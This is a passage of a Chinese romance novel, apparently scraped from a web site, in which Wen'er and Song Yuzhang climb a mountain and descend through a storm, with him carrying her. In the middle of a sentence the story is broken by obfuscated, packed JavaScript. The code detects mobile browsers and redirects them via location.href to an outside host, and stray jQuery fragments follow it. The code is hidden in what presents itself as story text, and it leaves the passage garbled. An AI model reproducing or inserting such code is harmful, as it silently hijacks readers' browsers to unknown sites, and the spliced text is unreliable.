山顶在不远处了。
乌云遮掩,天色愈暗,树木摇晃间,风里携来泥土芬芳的水汽。
雨就要来了。
不知何时,她已越过宋豫璋,走在前面。
温尔步伐轻快,览四周景色。
回头看,宋豫璋不远不近的跟在身后,姿态清雅,外人口中的不近人情,于她而言确是个温柔的人。
她想到了一个很美好的词。
关于人间。
也是顷刻间涌出心头的善意,让温尔不想上山了。
所以。
这么好的人,为什么要淋雨呢?
再看近在眼前的山顶,温尔倏尔停下脚步。
她注视着他良久,朝他露出真心实意的笑容。
“宋豫璋,我们下山吧。”
我不要你淋雨。
宋豫璋只看了眼遥远的天色,黑压压一片。
他绕过温尔继续往前走。
回头望向还停留在原地的女人,细细的一抹身影似是随时都能被山野暴雨吞没。
他亦停下,淡声说道:“跟上。”
温尔迟疑。
讨厌下雨。
这种时候就算下山,也还是会被淋湿吧。
或许就不应该一起上山。
宋豫璋在她五步之外,侧身回首,漆黑的眸光如铺满星子的夜,静静地望向她。
傻子都看得出来他在等她。
温尔一笑,朝他小跑过来,“那好吧。”
山顶上,没有嘉奖他们的七色花。
据说,这山叫做七色山。
踩在最高一块石头上,温尔微微喘着气,碎石小路,几棵小草。
而山下,雾起风生。
风很大,吹来时像刀刮,衣服呼啦啦得响。
温尔弯腰捡了块石头,在山顶竖立的大石头上刻下自己的名字。
顿了顿,又刻上了宋豫璋三个字。
宋豫璋没看风景,只望向蹲在石头前的温尔,石头上并排的字。
他眼神一片温和宁静,远离了天上的阴云暴雨。
温尔刻划留下白色的痕迹,孩子气的加上一句。
到此一游。
而后起身,再看这即将落下暴雨的苍穹,她想。
一场雨,很快就会将石头表面上的字冲刷干净。
就像无人知晓,她与宋豫璋到过山顶。
真好。
*
下山。
酝酿已久的暴雨终于落了下来。
伴随轰轰的雷鸣炸响,银白闪电如利刃般劈开云幕,狂风肆虐中扯开豁大的口子。
风大雨急。
宋豫璋带她从与来路相反的另一条小径下山。
温尔没多问,亦步亦趋地跟在他身后。
山林树茂,手掌大的树叶层层叠叠的交织成伞,让本就阴翳的光线变得更加昏暗。
倾盆大雨冲击着枝叶,撞出一条条错落的缝隙,凉丝丝的雨水落在两人身上。
宋豫璋那身颜色极好的衬衫被雨水打湿,深沉了些。
温尔视线被雨水冲刷,额头的水滚到眼窝,睫毛上水珠子坠了坠,寒意袭来。
山里雾气蒸腾,连着远处云层。
宋豫璋的背影挺阔清瘦,衣衫浅绿与丛林深绿斑驳在一块。
在雨中。
在雾里。
温润如画。
雨水顺着山坡往低处流,小河一般快乐的流淌。
冲走表面的泥土,露出棱角坚硬的石块。
下山路陡,宋豫璋回身,朝她伸手,“小心脚下。”
温尔站在高几阶的台阶上,荷叶绿的连衣裙湿了后裙摆黏着纤细笔直的双腿,上身布料裹缠着窈窕的身线,隐约映透出里面的轮廓与雪色。
宋豫璋眸光暗沉,静了几瞬后将视线错开,雨水顺着他面部坚硬流畅的线条滑落,喉结艰涩地滚动。
温尔看见他红起来的耳朵,才明白缘故。
不禁轻笑了声。
雨,也没那么厌烦了。
她握住宋豫璋朝她伸来的那只手,之后每一步都没松开。
手指合握,女人的小手被男人温和的大手牢牢抓住,像是抓着天底下最重要的珍宝。
林子里黢黑,雨越下越大,四处都如张张兽口,看不清山下模样。
大概是因为宋豫璋在身边,温尔竟无一丝害怕。
水漫过石面,地面打滑,她险些滑倒。
宋豫璋适时地蹲在她身前,声音淡和,“上来。”
本就不好走的路,背上自己更麻烦。温尔摇摇头,“不用,就这么走吧。”
宋豫璋:“万一崴了脚,就更不好走了。”
温尔想,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076231|163391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也是。
宋豫璋留给她的背影无疑是令人遐想的,宽背窄腰,衣服包裹着劲瘦紧实的身躯,蓬勃蛰伏的力量。
手搭上他的肩膀,上半身些微尴尬地趴在他后背上,下巴停落在他肤色苍白的颈边,眼睛竖着他颈部的青筋。
莫名的性感。
温尔有些口渴,想喝水。
宋豫璋将她背在身后,微一侧头。
温尔湿润的唇瓣猝不及防地贴上他颈上的青筋。
嘶…
宋豫璋抿唇,濡湿的眼睫一颤。
温凉的肌肤之下,热血沸腾。
*
雨没停。
雷声时大时小,林子里很暗。
闪电骤白,劈得天地为之颤动。
温尔贴在他肩上,一步路没走,心跳倒是快了几分。
心安又悸动。
聒噪的雨滴声。
“宋豫璋。”她在滴雨穿林的缝隙里,偷偷喊着他的名字。
“嗯。”他步履很稳,身形无一丝晃动。
她轻轻地问:“你会怪我吗?”
宋豫璋颈边被她呼出的气息撩的暗痒,声音也沉了几分,淡而温和,“为什么会这么想?”
温尔也不知道自己想问什么,是雨。
还是女人和男人的关系。
有些说不出的情绪掺和在一起,她随口闲话:“如果没去山顶,我们在看见乌云的时候就下山,至少不会像现在,弄得浑身湿透的。”
多狼狈啊。
至少,她从未见过这般狼狈的宋豫璋。
“不是因为你想去山顶才下雨,”宋豫璋声音轻而淡,在山雨细雾中说不出的温雅。
“是我选择了在今天出门,迟早会有这么一场雨。”
温尔瞳孔微缩,眸光错错如浮光掠金,又似山风雾雨。
她趴在他背上不再说话,心中细雨滴答的不安宁。
宋豫璋的回答,只是在指这场雨吗。
还是和她一样。
两人各怀心事,不再言语。
夏末秋初,不算清凉的季节,随着持续不断的降水,气温降下很多。
浑身都在滴水,温尔唇瓣冷得发白。
这是一条不同于上山的路,温尔眼尖的发现修建在半山腰上的玻璃花房。
她激动地拍了拍宋豫璋的肩膀。